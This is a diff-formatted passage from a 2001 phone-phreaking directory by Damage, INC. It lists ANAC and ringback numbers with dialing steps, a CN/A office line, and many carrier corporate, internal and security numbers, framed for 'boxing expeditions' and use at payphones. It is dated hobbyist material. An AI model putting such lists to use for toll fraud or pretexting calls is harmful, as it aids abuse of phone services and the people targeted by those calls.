+1-800-668-2857 Wightman Telecommunications. (ISP)
+1-800-773-4638 Globalserve Internet.
+1-888-298-3447 Netcom Canada.
+1-888-4-SENTEX Sentex Communications.
+1-888-6-NEWNET New Net Technologies Group.
+
+
+Cable:
+
+1-800-267-1919 CaTech Systems LTD.
+1-800-400-4954 Cablecom International.
+1-877-342-3726 Fiber Core Communications.
+1-877-652-0088 First Call Locate Service.
+
+
+Telephone Companies:
+
+(519) 651-2000 A-TEL Communications. (Press "9" to dial out)
+(519) 651-2250 A-TEL Communications.
+(519) 744-4455 A Telephone Man. (listed under Telephone Companies)
+(519) 744-9640 A + Tel Inc.
+(519) 745-0856 Telnet Communications.
+(519) 746-3357 Sprint Canada Inc.
+
+
+Telephone Directories:
+
+(519) 571-7700 Bell ActiMedia.
+(519) 658-2001 Kitchener-Waterloo Talking Yellow Pages. (Gives local time &
+ temperature)
+
+
+Telephone Equipment:
+
+(519) 570-0885 WilTel.
+(519) 570-1320 Greb Tele-Data Inc. (Authorized Sprint Canada Sales & Service)
+(519) 570-3609 Brant Telephone. (Authorized AT&T Canada and Lucent Technologies
+ Dealer. Long Distance and Conferencing Services)
+(519) 650-2000 City-Com Communications (Golden Triangle) Inc.
+(519) 654-2000 Regional Telecom.
+(519) 654-2003 Intelicom Systems.
+(519) 658-4588 Instatel Communications
+(519) 741-9262 Barrett B J Communications.
+(519) 744-6500 Tele-Connect.
+(519) 747-3333 PhoneMaster. (Authorized Sprint Dealer)
+(519) 748-1177 J&D Systems Inc. (Nortel Networks Authorized Distributor)
+(519) 748-2228 Telefficiency. (Authorized Nortel, Meridian, etc. Distributor)
+(519) 748-5832 Delphi Solutions. (Authorized Sprint Canada Agent)
+(519) 883-4109 Exceltech. (Telephone equipment services)
+1-800-932-9443 J P Cable Installations Ltd. (Authorized Bell Agent)
+1-888-276-1604 Telecom-Tech.
+1-888-7-DELPHI Delphi Solutions Customer Service.
+
+
+Long Distance:
+
+(519) 220-1120 Ability Telecom. (Flat Rate Long Distance)
+(519) 576-7077 Distributel Communications Ltd. (Long Distance Service)
+(519) 651-2250 Fone Pass (formerly Ad-Tel Communications)
+(519) 654-9614 Ontel Long Distance (Flat Rate, Worldwide Long Distance)
+1-800-670-2266 AT&T Canada Long Distance.
+1-800-700-0017 Glentel Inc. (Long Distance)
+1-888-266-1313 WinTel Communications. (Long Distance)
+1-888-676-7777 Bell Canada Advantage Optimum savings program.
+1-888-824-1032 Telelink Canada. (Flat Rate Long Distance)
+
+
+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+
+Final Notes:
+
+If you'd like to contribute to the Damage, INC. Phreaky Field Phreaking List,
+discover any dupes, numbers that are no longer in service or ones that have
+been misidentified, please notify us in Email at damage_inc@disinfo.net and
+report the error. This list is updated and released on a quarterly basis.
+So, if you send numbers your alias will be included in the next edition.
+Contributions are encouraged and always appreciated.
+
+Thanks go out to the following people (in no particular order) for their
+contributions to this list. It's a large, ongoing project that wouldn't exist
+without their support, and we appreciate the efforts that they've made towards
+this compilation of numbers. If you contributed in some way but were neglected
+to be mentioned, contact Damage, INC. and notify us about the oversight.
+
+Contributors/Greets:
+
+THC Phreak, BLACKENED, Shatazar, Helena3, Breaker, x25lurker, Tobias, Nevada,
+Fringe, , Syko416, Lord Narayana, 1dot1, Overflow Trap, Fatal Vision,
+Voyageur514, Silent Sentry, L00pster5, Phearless One, The Clone, Loud Ton3y,
+Cultist, The Pusher, Gerfalcon, Jackal, Anarchist613, Betsi, RedBoxChiliPepper,
+Logic Box, hevnsnt, Aftermath, Goldeneye, Jester, The Hitman, radigan, KingPiN,
+tOrnak, Hollywood Vampire, Err418, Mister T, InfestDead, Toxic Twin, Snake Eyes,
+not_in_service, Wrathchild, 1ns4n3 Pr3d4t0r,ÿDevilinDisguise, Aneurysm (204),
+Hollow Point, Metabolis, Phractal, absolut zero (416), The Anchorite, Vortex,
+La Jolla, aeon, Charles Forbin, Telco Terminus, BiohazzardTen, zxyx, Rev-Eng.
+
+Special thanks goes out to RedBoxChiliPepper (Phone Losers of America) for the
+PLA Telephone Director0y. It was an inspiration to us. :)
+
+It was created, scanned, compiled, verified and distributed by phreaks, for
+phreaks. And in addition to that, it's damn phreaky. Have phun... and look
+for more releases courtesy of Damage, INC. and Blamerica Phreaky Industries.
+
+- Blackie Lawless
+
+ Copyright 2000 by Damage, INC. All Rights Reserved.
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+ _______________________________________________ _________________
+ \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/
+ _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _
+ \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_|
+======================== "The name speaks for itself!" ========================
+
+ Phreaky Field Phreaking List.
+ ~ Winter 2001 Edition ~
+ (Released: 02/05/01)
+
+ http://surf.to/damage_inc
+ damage_inc@disinfo.net
+===============================================================================
+
+Introduction:
+
+Hey phreaks, this is the long awaited 7th edition of the Damage, INC. Phreaky
+Field Phreaking List. We recommend that you print it out and take it with you
+on all of your boxing expeditions or for use as a reference while at payphones.
+Hell, just take it with you wherever you travel. You never know when you're
+going to need it. :) This comprehensive list includes many toll free numbers
+for telcos, test numbers, conferences, computer companies, carriers, cellular,
+and other services, etc. It's not just damn phreaky, it's the phreakiest!
+
+Disclaimer:
+
+The Damage, INC. Phreaky Field Phreaking List is for informational purposes
+only. We are not responsible for how it is used, including but not restricted
+to any fraudulent, illegal acts that may be committed, unauthorized access of
+systems, loss/theft of services or any damages that may be caused as a result
+of someone else's activities. If/how you use these numbers is entirely your
+choice. In summary, you're legally responsible for your own deeds and actions.
+Now that the legal shit has been thoroughly covered, here's what you have all
+been waiting for... :)
+
+-------------------------------------------------------------------------------
+ ANACs/ANIs and Ringbacks:
+-------------------------------------------------------------------------------
+
+Local ANACs:
+
+(204) 644-4444 Manitoba.
+(215) 311 New York. (Verizon)
+(215) 958 New York. (Verizon)
+(215) 958-XXXX New York. (Try 958-0000 if 958 alone doesn't work)
+(306) 115 Saskatchewan.
+(403) 311 Alberta, Yukon and N.W. Territory.
+(403) 908-222-2222 Alberta, Yukon and N.W. Territory.
+(403) 999 Alberta, Yukon and N.W. Territory.
+(416) 958-2622 Toronto, Ontario
+(416) 997-1699 Toronto, Ontario.
+(416) 997-5802 Toronto, Ontario (593 CO)
+(416) 997-7777 Toronto, Ontario (593 and other? CO)
+(416) 997-8123 Toronto, Ontario.
+(416) 997-XXXX Toronto, Ontario.
+(506) 1-555-1313 New Brunswick.
+(514) 320-0047 Slow ANAC for Montreal, Quebec.
+(514) 320-1147 Fast ANAC for Montreal, Quebec.
+(514) 320-1148 Dorval, Quebec.
+(514) 320-1223 Montreal, Quebec.
+(514) 320-1232 Montreal, Quebec.
+(514) 320-1233 Montreal, Quebec.
+(514) 320-XXXX Montreal, Quebec.
+(519) 320-XXXX London, Ontario.
+(519) 748-3220 Kitchener, Ontario. (press "1" for ANI)
+(604) 958-6111 British Columbia.
+(613) 320-2232 Ottawa, Ontario.
+(613) 320-5123 Kingston/Belleville/Southeastern Ontario.
+(613) 320-5124 Kingston/Belleville/Southeastern Ontario.
+(613) 320-9123 Kingston/Belleville/Southeastern Ontario.
+(615) 557-2311 Nashville, Tennessee.
+(705) 320-4567 North Bay, Ontario.
+(819) 320-1112 Sherbrooke, Quebec.
+(905) 958-2622 Mississauga, Ontario.
+(954) 780-2411 Fort Lauderdale, Florida.
+970 All of Connecticut.
+
+Notes: There are also common 3 digit ANACs such as 958 in many U.S. NPAs.
+ANACs (Automatic Number Announcement Circuits) are numbers that when dialed will
+read back the telephone number of the calling party in an automated voice. It
+should be obvious how useful they can be in certain situations. Please don't
+overuse or abuse the toll free ANACs that've been provided. Use local ANACs
+whenever possible to ensure that the 800s listed below remain active.
+
+Toll Free ANACs:
+
+1-800-222-6000 eVoice by Nokia. Press "88,06" for ANI. ("88,05" for date/time)
+1-800-314-4258 MCI WorldCom Credit Verification Hotline. (reads back ANI)
+1-800-346-0152 ANAC.
+1-800-4-BLOCKME VRS Billing Systems/IntegriTel has free 1-800 blocking & ANAC.
+1-800-444-3333 MCI WorldCom. (reads back ANI)
+1-800-444-4444 MCI WorldCom. (reads back ANI)
+1-800-487-9240 ANAC (doesn't work from 519)
+1-800-514-9939 ANAC (doesn't work from 416/519)
+1-800-532-7486 AT&T Credit and Accounts Center. (Press "1,1" for ANI)
+1-800-555-1160 ANAC (always busy now...)
+1-800-555-1170 ANAC (always busy now...)
+1-800-569-5699 ANAC (press "7*#")
+1-800-638-2392 Press "2" for ANAC.
+1-800-666-1379 Press "1,3,1" for ANAC.
+1-800-692-6447 (1-800-MY-ANI-IS) Requires a passcode.
+1-800-727-5207 MCI WorldCom. (reads back ANI)
+1-800-877-CAPT ANAC (after a short "not active" message)
+1-877-269-8825 URL Marketing. (Press "4" after the recording starts)
+1-888-837-8274 ANAC and Ringback.
+
+Ringbacks:
+
+215-811+XXXX New York (dial 811 plus last 4 digits of Verizon payphone)
+305-780-6095 Miami, Florida (305)
+311-XXX-XXXX British Columbia (604)
+320-XXX-XXXX Montreal, Quebec (514)
+320-XXX-XXXX Quebec (819)
+507-XXX-XXXX Alberta.
+572+XXX-XXXX New Brunswick (506)
+575-XXX-XXXX Halifax, Nova Scotia (902)
+57X-XXXX Toronto, Ontario (416)
+590-XXX-XXXX Manitoba (204)
+777-XXX-XXXX Indiana.
+871-XXX-XXXX British Columbia (604)
+954-780-6321 Ringback for 954 NPA.
+954-999-XXXX Ringback for 954 NPA.
+999-XXX-XXXX Alberta (403), Yukon, and N.W. Territories (867)
+999-XXX-XXXX Hamilton/Mississauga/Niagara Falls, Ontario (905)
+999-XXX-XXXX North Bay, Ontario (705)
+999-XXX-XXXX Ottawa, Ontario (613)
+999-XXX-XXXX Ringback for 519 NPA.
+999-XXX-XXXX Ringback for portions of Toronto, Ontario (416)
+99X-XXXX Toronto, Ontario (416)
+
+Note: Most Ringbacks require you to dial 3 digits plus your 7 digit telephone
+number, flash the hook quickly (or press the flash button if you have one), wait
+for a tone and then hangup. Seconds later your phone should begin ringing. To
+interrupt and cancel the ringing, answer and press a button or hangup again.
+
+For more ANACs and Ringbacks, download Voyager's alt.2600/#Hack FAQ from
+http://www.attrition.org/~voyager/faq.html
+
+
+-------------------------------------------------------------------------------
+ AT&T:
+-------------------------------------------------------------------------------
+
+1-800-221-0000 AT&T Interactive Advantage Customer Support Line.
+1-800-221-7680 AT&T Digital Video Center.
+1-800-222-0300 AT&T Main Number.
+1-800-222-0400 AT&T Custom Care Centre (for long distance service)
+1-800-222-0900 AT&T Customer Care Center.
+1-800-222-1000 AT&T Customer Care Center.
+1-800-222-3000 AT&T Customer Service.
+1-800-222-5111 Lucent/Phillips Communications/AT&T Telephones.
+1-800-222-7747 AT&T Gift Certificates.
+1-800-222-7956 AT&T Global ISDN Customer Care Center.
+1-800-222-8555 AT&T Long Distance Certificates.
+1-800-223-4507 AT&T.
+1-800-223-9000 AT&T WorldNet/Long Distance.
+1-800-225-1718 AT&T Prepaid Phone Cards Customer Service.
+1-800-225-5288 (1-800-CALL-ATT) AT&T Collect Calls.
+1-800-225-5856 AT&T's Vendor Agent Program.
+1-800-232-8200 AT&T Personal Rewards.
+1-800-233-1222 AT&T National Special Needs Center (NSNC) Voice.
+1-800-235-4288 AT&T America.
+1-800-241-LOST AT&T Lost/Stolen Calling Cards.
+1-800-242-2422 Loral Skynet Satellite Services (formerly AT&T Skynet)
+1-800-242-6005 AT&T Internet Services.
+1-800-243-0506 AT&T Find America Directory Service.
+1-800-247-1212 AT&T.
+1-800-247-6636 AT&T Wireless Services In-Flight Customer Care.
+1-800-248-3632 AT&T Data Network Business Information Solutions.
+1-800-252-7266 AT&T Alascom. (Anchorage, Alaska)
+1-800-253-3846 AT&T Customer Care Center for the Federal Government.
+1-800-254-8442 AT&T Repairs and Billing.
+1-800-255-1242 AT&T Customer Information Center (Canada)
+1-800-258-0123 AT&T Customer Care Center.
+1-800-266-4014 AT&T Payroll and Employee Verification.
+1-800-268-5931 AT&T Wireless Service VMB.
+1-800-268-5939 AT&T (Operator)
+1-800-305-9494 AT&T Wireless (MetroCall) Messaging.
+1-800-322-MWBE AT&T Supplier Diversity Program Information Line.
+1-800-325-0138 AT&T Small Business Customer Care.
+1-800-325-1230 AT&T Calling Card Inquiries.
+1-800-331-3449 AT&T Employee Line (Lists AT&T Job openings)
+1-800-338-8095 AT&T (Mandarin)
+1-800-338-8097 AT&T (Korean, Cantonese, Mandarin)
+1-800-338-8106 AT&T (Cantonese)
+1-800-338-8120 AT&T (Japanese)
+1-800-342-5288 AT&T Customer Care Center.
+1-800-344-5100 AT&T Voice/ISDN Services.
+1-800-344-9248 AT&T.
+1-800-345-4746 AT&T (Tagalog)
+1-800-348-8288 AT&T Shareholder Services.
+1-800-351-5855 AT&T Helpdesk.
+1-800-361-2218 AT&T Canada.
+1-800-362-9689 AT&T Customer Network Service Center.
+1-800-367-7956 AT&T Switched Repair Service Center.
+1-800-387-1026 AT&T Canada Business Sales.
+1-800-387-1926 AT&T Canada Customer Care Centre.
+1-800-4-ONE-RATE AT&T One Rate plan subscriptions.
+1-800-400-1447 AT&T WorldNet Service Billing.
+1-800-418-8999 AT&T Customer Care Center. (long distance service)
+1-800-422-6622 AT&T Call Acquisition/Fault Management Helpline.
+1-800-423-4343 AT&T Universal Card.
+1-800-424-6030 AT&T's Matching Gift Processing Center.
+1-800-425-5288 AT&T Products and Services.
+1-800-426-8686 AT&T Printed Directories. (U.S. only)
+1-800-428-8468 AT&T Global Services Center.
+1-800-428-8669 (1-800-4ATT-NOW) AT&T Personal Network Sales Center.
+1-800-435-7375 AT&T EasyLink Technical Support. (U.S. only)
+1-800-438-3151 AT&T Wireless, Job Line.
+1-800-443-8288 (1-800-GIFT-ATT) AT&T Gift Certificates.
+1-800-446-7466 (1-800-4GOPHONE) AT&T Wireless GoPhone Services.
+1-800-448-1008 AT&T Carrier Choice Protection.
+1-800-448-8600 AT&T Global Customer Service Center.
+1-800-462-4463 Rogers AT&T Wireless.
+1-800-483-9288 AT&T and Texaco's Information Line.
+1-800-503-6961 AT&T New York Local One Rate Sales.
+1-800-503-6962 AT&T Texas Local One Rate Sales.
+1-800-505-2162 AT&T Management Employment.
+1-800-522-2157 AT&T Investigations Department.
+1-800-524-2455 AT&T Customer Care.
+1-800-525-7955 AT&T Direct Call Cards.
+1-800-526-0253 AT&T Business Continuity Recovery Center.
+1-800-528-0465 AT&T CampusWide Access Solutions.
+1-800-532-2021 AT&T Carrier Line Charge Information.
+1-800-538-5345 AT&T Slamming Resolution Center.
+1-800-542-2025 AT&T (Russian)
+1-800-552-3373 AT&T Wireless Advanced Network Services Support.
+1-800-555-8111 AT&T Consumer Lease Services.
+1-800-562-2255 AT&T 1-800 Directory Advertising.
+1-800-562-6275 AT&T Message Sender (Send automated messages to any number)
+1-800-562-7288 (1-800-JOBS-ATT) AT&T Employee Line. (U.S. only.)
+1-800-562-7288 AT&T Occupational Employment.
+1-800-565-4708 AT&T Canada Long Distance Services.
+1-800-567-3692 AT&T Canada Long Distance Services. (French)
+1-800-567-4672 AT&T Canada Electronic Commerce Services.
+1-800-575-5511 AT&T Canada Long Distance Services.
+1-800-575-5533 AT&T Canada Residential Sales. (French)
+1-800-575-9999 AT&T Canada.
+1-800-628-8486 AT&T Language Line Services.
+1-800-634-8078 AT&T Billing Office/Accounts info.
+1-800-637-0007 AT&T Network Management Support (NMSC), Lucent. (options)
+1-800-643-2255 AT&T Translation Service. (Foreign languages only)
+1-800-647-9808 AT&T (Hindi)
+1-800-661-2268 Rogers AT&T Wireless Automated Self-Service System.
+1-800-662-3036 AT&T Texas Local One Rate Service.
+1-800-662-6214 AT&T Calling Card Protection line.
+1-800-662-7759 (1-800-66-APPLY) AT&T Universal Card.
+1-800-662-8439 AT&T Employee Benefits.
+1-800-670-2255 AT&T Canada Long Distance Services.
+1-800-670-6000 AT&T Canada Long Distance Services.
+1-800-673-7286 AT&T 1-800-OPERATOR. Specializes in collect calls. Automated.
+1-800-678-7918 AT&T Business Customer Care Center.
+1-800-682-8706 AT&T Telecommunications Relay Customer Service. (Voice)
+1-800-682-8786 AT&T Telecommunications Relay (TTY)
+1-800-7-HOSTIN AT&T Internet Services.
+1-800-732-2255 AT&T High Seas Radio Telephone and Mobile Satellite Services.
+1-800-746-7846 AT&T Internet Services.
+1-800-752-0093 AT&T Language Line Services.
+1-800-752-6096 AT&T Language Line Customer Service Center.
+1-800-790-2255 AT&T Canada Long Distance Services.
+1-800-790-6000 AT&T Canada Long Distance Services.
+1-800-807-2466 AT&T Learning Points Program.
+1-800-820-6464 AT&T Digital Long Distance/ISDN Services.
+1-800-822-9009 AT&T Corporate Security, internal investigations.
+1-800-826-2600 AT&T (Polish)
+1-800-827-1226 AT&T Global Network Systems.
+1-800-830-2255 AT&T Canada Long Distance Services.
+1-800-831-5259 AT&T WorldNet Business/Data Services.
+1-800-833-0520 AT&T (Vietnamese)
+1-800-833-3232 AT&T ACS Long Distance Bill Inquiries.
+1-800-833-8134 Telecommunications Relay Service (TRS) Voice Callers (non-TDD/TT)
+1-800-842-9710 AT&T Telecommunications Relay Service (TRS) for TDD/TT users.
+1-800-850-TIES AT&T Easy Reach 800. (Call to setup Easy Reach 800s)
+1-800-852-8935 AT&T Amcom Software Helpline.
+1-800-855-1155 AT&T LDRS Directory Assistance. (TTY Carrier for the deaf)
+1-800-855-2880 AT&T Long Distance Relay Service (TTY)
+1-800-855-2881 AT&T Long Distance Relay Service (automated/voice)
+1-800-855-2882 AT&T Long Distance Relay Service (TTY)
+1-800-855-2883 AT&T Long Distance Relay Service (TTY)
+1-800-858-9857 AT&T True Rewards (option 1)
+1-800-872-3883 AT&T Operator.
+1-800-878-3123 (1-800-TRUE-123) AT&T True Messages Service.
+1-800-878-3500 AT&T True Connections Personal 500 Number Service.
+1-800-888-7600 AT&T Wireless Customer Service.
+1-800-889-4408 AT&T NCC (Network Control Center) and TCC.
+1-800-892-3850 AT&T Wireless Long-Distance Service.
+1-800-942-6726 AT&T Usage Minimum.
+1-800-957-9000 AT&T Canada.
+1-800-958-2255 AT&T Canada Long Distance Services.
+1-800-958-6000 AT&T Canada Long Distance Services.
+1-800-959-1090 AT&T New York Local Service.
+1-800-967-5363 AT&T WorldNet Service.
+1-800-970-2255 AT&T Canada Long Distance Services.
+1-800-998-3947 AT&T Authorized Stocking Distributor/Zack Electronics.
+1-800-ATT-4ALL AT&T New York Local Service.
+1-800-FIND-ATT AT&T FIND Center. (resource to find out AT&T numbers and info)
+1-800-GIFT-ATT AT&T Gift Certificates (extension 410) (Mon-Fri, 9-5)
+1-800-IMAGINE Rogers AT&T Wireless.
+1-800-MEGSCOM AT&T Outbound MEGACOM WATS.
+1-800-TRAINER AT&T 800 Trainer (Corporate) Education Center.
+1-800-WORLDNET (1-800-96753638) AT&T Canada Internet Service.
+1-877-379-4199 AT&T Canada ADSL Internet Service.
+1-877-397-3636 AT&T Canada ADSL Internet Service.
+1-877-472-6793 AT&T HR Answers.
+1-877-ATT-2345 AT&T Canada Long Distance Services. (Main Switchboard)
+1-888-387-8852 AT&T Order Center. (order AT&T d0x!)
+1-888-8-METNET MetroNet AT&T Canada.
+1-888-863-8638 AT&T Canada Customer Service.
+1-888-888-5413 AT&T WorldNet Service.
+1-888-928-8932 (1-888-9ATT-WEB) AT&T Online Customer Service.
+1-888-933-1212 AT&T Cellular phone accessories. (U.S. only)
+1-888-ATT-1233 AT&T Canada Internet Service.
+1-888-ATT-ALL1 AT&T Customer Care Center.
+1-888-ATT-INTL AT&T International Helpline in Basking Ridge, NJ.
+1-888-ATT-TRW3 AT&T True Rewards Account questions.
+1-888-OUR-FAMILY AT&T. (Join the AT&T family)
+
+
+-------------------------------------------------------------------------------
+ Ameritech:
+-------------------------------------------------------------------------------
+
+(314) 444-4444 Ameritech (St. Louis Office)
+1-800-207-2228 Ameritech.
+1-800-221-0994 Ameritech Cellular and Paging.
+1-800-242-3225 Ameritech Messaging/Monitoring.
+1-800-244-4444 Ameritech Customer Billing Office (works outside of Illinois)
+1-800-249-4449 Ameritech Yellow Pages Advertising Sales.
+1-800-257-0902 Ameritech Main Office.
+1-800-292-9340 Ameritech Pressure Cleaning Systems.
+1-800-323-7311 Ameritech Capital Services.
+1-800-327-3470 Ameritech Advertising Services.
+1-800-331-5454 Ameritech.
+1-800-346-4377 Ameritech Directory Order Center.
+1-800-433-8505 Ameritech Special Needs Center.
+1-800-446-PAGE Ameritech Cellular and Paging.
+1-800-451-2761 Ameritech.
+1-800-468-3949 Ameritech Automated Services.
+1-800-475-7449 Ameritech Payphone Repair.
+1-800-480-8088 Ameritech Business Solutions Center.
+1-800-493-7243 Ameritech Quick Reach Pager Services.
+1-800-523-7076 Ameritech Security Systems.
+1-800-553-9591 Ameritech Pages Plus Advertising.
+1-800-572-4545 Ameritech's Automated Trouble Report/Repair System.
+1-800-621-4533 Ameritech Bilingual Customer Service.
+1-800-621-8650 Ameritech's Lifeline program.
+1-800-624-8291 Ameritech Employment Office. (Illinois)
+1-800-642-4289 Ameritech Advertising.
+1-800-647-9000 Ameritech Pages Plus Advertising.
+1-800-649-3777 Ameritech. (TTY/TDD)
+1-800-660-1000 Ameritech Customer Service.
+1-800-660-3000 Ameritech Small Business Services.
+1-800-662-4531 Ameritech Cellular and Paging.
+1-800-680-6808 Ameritech Business Solutions Center.
+1-800-707-9999 Ameritech.
+1-800-719-5822 Ameritech Dedicated Internet Access.
+1-800-762-4210 SBC Ameritech Information Industry Services.
+1-800-769-4099 Ameritech Annoyance Call Bureau.
+1-800-809-0878 Ameritech Payphones.
+1-800-821-0173 Ameritech Cellular and Paging Services.
+1-800-824-9410 SBC Ameritech Listing Service Group.
+1-800-848-CAST Ameritech (Americast) Cable Services.
+1-800-873-5501 Ameritech's automated billing.
+1-800-924-1000 Ameritech Customer Service.
+1-800-942-9240 Ameritech Employment Office. (Chicago area)
+1-800-AMERITECH Ameritech. Calling card, collect calls, operator assisted.
+1-800-EASY-FIND Ameritech Employee Finder.
+1-800-MOBILE-1 Ameritech Cellular and Paging.
+1-800-NET-8775 Ameritech Interactive Media Services. (Internet)
+1-800-WORKLIFE Ameritech Home Office Telecom Center.
+1-877-235-2994 Ameritech Cellular.
+1-877-432-3279 Ameritech.
+1-888-282-9566 Ameritech Security Systems.
+1-888-635-5050 Ameritech Products and Services.
+1-888-AMERITECH Ameritech.
+
+
+-------------------------------------------------------------------------------
+ BCTel/TELUS:
+-------------------------------------------------------------------------------
+
+1-800-447-2688 BCTel Mobility's EasyTouch Service.
+1-800-472-9773 TELUS (Payphone Dept.)
+1-800-563-0624 TELUS Fax.
+1-800-567-0000 TELUS Customer Relations Department.
+1-800-575-2355 BCTELUS Help Center.
+1-800-661-2355 BCTel Mobility Customer Service.
+1-800-661-4260 TELUS Advertising.
+1-800-661-6074 TELUS Mobility Paging Customer Service.
+1-800-663-1011 BCTel's Billing Inquiry System.
+1-800-663-1440 BCTel Call Center/Accounts.
+1-800-663-2234 BCTel Network Sales.
+1-800-663-2455 BCTel Mobility Customer Service Department.
+1-800-973-2223 TELUS Directory Delivery Service. (order phone books!)
+1-877-310-6110 TELUS Today Customer Service.
+1-877-344-3330 BCTel Mobility.
+1-888-685-2355 BCTel Multiple Option Messaging.
+1-888-811-2323 BCTel Customer Service.
+1-888-823-6873 TELUS Call Center Solutions.
+1-888-867-7587 (1-888-TMS-PLUS) TELUS.
+1-888-905-2284 BCTel Interactive Business Solutions.
+1-888-TELUS-11 TELUS Services.
+1-888-TELUS-22 TELUS Business Sales and Service.
+
+
+-------------------------------------------------------------------------------
+ Bell Atlantic:
+-------------------------------------------------------------------------------
+
+1-800-2-JOININ Verizon Wireless.
+1-800-221-4393 Bell Atlantic VMS.
+1-800-222-7900 Bell Atlantic.
+1-800-225-5400 Bell Atlantic.
+1-800-244-2355 Bell Atlantic's Interactive Demo Center.
+1-800-255-2255 Bell Atlantic 1-800-255-CALL.
+1-800-255-BELL Bell Atlantic Mobile.
+1-800-257-5554 Bell Atlantic Services/Computer Repair.
+1-800-273-0053 Bell Atlantic 24 Hour Account Info (English & Spanish)
+1-800-275-2355 (1-800-275-BELL) Bell Atlantic Repair.
+1-800-281-8584 Bell Atlantic 24 Hour Account Info (English & Spanish)
+1-800-297-2355 Bell Atlantic's Major Customer Center.
+1-800-327-8412 Bell Atlantic Professional Services.
+1-800-338-9144 Bell Atlantic Federal.
+1-800-365-5810 Bell Atlantic Customer Information Line. (good telco info)
+1-800-416-9639 Bell Atlantic Help Desk.
+1-800-446-9639 Bell Atlantic Yellow Pages Customer Relations.
+1-800-510-2595 Bell Atlantic Massachusetts Recruitment Center.
+1-800-526-4611 Bell Atlantic Telecom Vendor's Service Leasing Dept.
+1-800-538-4747 Bell Atlantic Mobile.
+1-800-550-9840 Bell Atlantic Long Distance.
+1-800-556-2355 Bell Atlantic Communications.
+1-800-621-8900 Bell Atlantic Corporate Headquarters.
+1-800-621-9900 Bell Atlantic Corporate Switchboard.
+1-800-631-2355 Bell Atlantic Shareowner Services.
+1-800-636-2355 Bell Atlantic Communications.
+1-800-646-3337 Bell Atlantic Federal Integrated Solutions Maintenance Center.
+1-800-647-NEWS Bell Atlantic Employee News line. (Daily recorded messages)
+1-800-651-2020 Bell Atlantic Credit Card from Chase.
+1-800-652-2355 Bell Atlantic Yellow Pages.
+1-800-660-2355 Bell Atlantic Mobile's Loyalty Management Services Department.
+1-800-678-4796 Bell Atlantic New Jersey Recruitment Center.
+1-800-678-4802 Bell Atlantic Upstate New York Recruitment Center.
+1-800-678-4809 Bell Atlantic Maryland/Washington DC/Virginia Recruitment Center.
+1-800-678-4816 Bell Atlantic Delaware/West Virginia Recruitment Center.
+1-800-678-4869 Bell Atlantic Pennsylvania Recruitment Center.
+1-800-727-2231 Bell Atlantic.
+1-800-755-1068 Bell Atlantic Customer Service. (New Jersey)
+1-800-822-0409 Bell Atlantic Teleproducts/Telephone Equipment.
+1-800-830-2355 Bell Atlantic Mobile.
+1-800-843-2255 Bell Atlantic Small Business Direct Response Center.
+1-800-846-1200 Bell Atlantic Large Business Solution Center.
+1-800-922-0204 Bell Atlantic Mobile.
+1-800-934-2255 Bell Atlantic.
+1-800-993-BANI Bell Atlantic Network Integration Technical Assistance Center.
+1-800-994-BANI Bell Atlantic Network Integration Human Resources.
+1-800-PIC-BANI Bell Atlantic Network Integration Inside Sales Department.
+1-800-WORK-4BA Bell Atlantic Automated Job Line.
+1-877-263-0049 Bell Atlantic Video and DirecTV Service.
+1-877-588-BELL Bell Atlantic Video Sales Department.
+1-877-WITH-YOU Bell Atlantic Mobile Tele-Sales Department.
+1-888-206-2355 Bell Atlantic.
+1-888-208-2355 Bell Atlantic.
+1-888-219-2355 Bell Atlantic.
+1-888-221-2355 Bell Atlantic.
+1-888-223-2355 Bell Atlantic.
+1-888-264-2355 (1-888-ANI-BELL) Bell Atlantic Caller ID.
+1-888-281-6279 Bell Atlantic Communications.
+1-888-289-7309 Bell Atlantic Communications.
+1-888-387-3800 Bell Atlantic Customer Service.
+1-888-466-4646 Verizon Wireless. (Bell Atlantic, AirTouch and PrimeCo)
+1-888-550-7095 Bell Atlantic Communications.
+1-888-550-8178 Bell Atlantic Communications.
+1-888-634-8910 Bell Atlantic Communications.
+1-888-677-2355 Bell Atlantic View at One Support.
+1-888-689-3820 Bell Atlantic Long Distance.
+1-888-698-1205 Bell Atlantic Long Distance.
+1-888-730-2355 Bell Atlantic.
+1-888-741-2355 Bell Atlantic.
+1-888-743-2355 Bell Atlantic.
+1-888-745-2355 Bell Atlantic.
+1-888-749-2355 Bell Atlantic.
+1-888-751-2355 Bell Atlantic.
+1-888-780-3961 Bell Atlantic 24 Hour Account Info (English & Spanish)
+1-888-780-3962 Bell Atlantic 24 Hour Account Info (English & Spanish)
+1-888-780-3964 Bell Atlantic 24 Hour Account Info (English & Spanish)
+1-888-780-3965 Bell Atlantic 24 Hour Account Info (English & Spanish)
+1-888-781-2355 Bell Atlantic.
+1-888-782-2355 Bell Atlantic.
+1-888-811-8731 Bell Atlantic Long Distance.
+1-888-831-4947 Bell Atlantic Long Distance.
+1-888-955-8141 Bell Atlantic Communications.
+1-888-955-8361 Bell Atlantic Communications.
+1-888-969-2355 Bell Atlantic.
+1-888-983-2355 Bell Atlantic.
+1-888-984-2355 Bell Atlantic.
+1-888-985-2355 Bell Atlantic.
+1-888-986-2355 Bell Atlantic.
+1-888-988-2355 Bell Atlantic.
+1-888-989-2355 Bell Atlantic.
+1-888-990-2355 Bell Atlantic.
+1-888-992-2355 Bell Atlantic.
+1-888-993-2355 Bell Atlantic.
+1-888-996-2355 Bell Atlantic.
+1-888-997-2355 Bell Atlantic.
+1-888-BIG-YELLOW Bell Atlantic Big Yellow Pages.
+1-888-CALL-471 Bell Atlantic Benefits Center.
+
+
+-------------------------------------------------------------------------------
+ BCE/Bell Canada/Stentor:
+-------------------------------------------------------------------------------
+
+1-416-555-1313 Bell's local CN/A office for Toronto.
+1-613-238-3103 Bell Canada Data Repair. (Ottawa Office)
+310-1212 QuebecTel Customer Service Centre.
+310-2355 Telephone Directory Ordering (free local directories)
+310-7474 QuebecTel
+310-BELL Bell Canada Customer Services. (toll free)
+310-FAST Bell Sympatico.
+310-INTERNET Bell Sympatico.
+310-SURF Bell Sympatico.
+811 Northwestel Call Centre. (BC, NWT, Yukon)
+
+1-800-225-5180 Bell Canada Client Service Center.
+1-800-232-3227 Telcordia Technologies (Bellcore) FACS Customer Information Line.
+1-800-238-8636 Bell Labs.
+1-800-253-5011 Bell Mobility Paging.
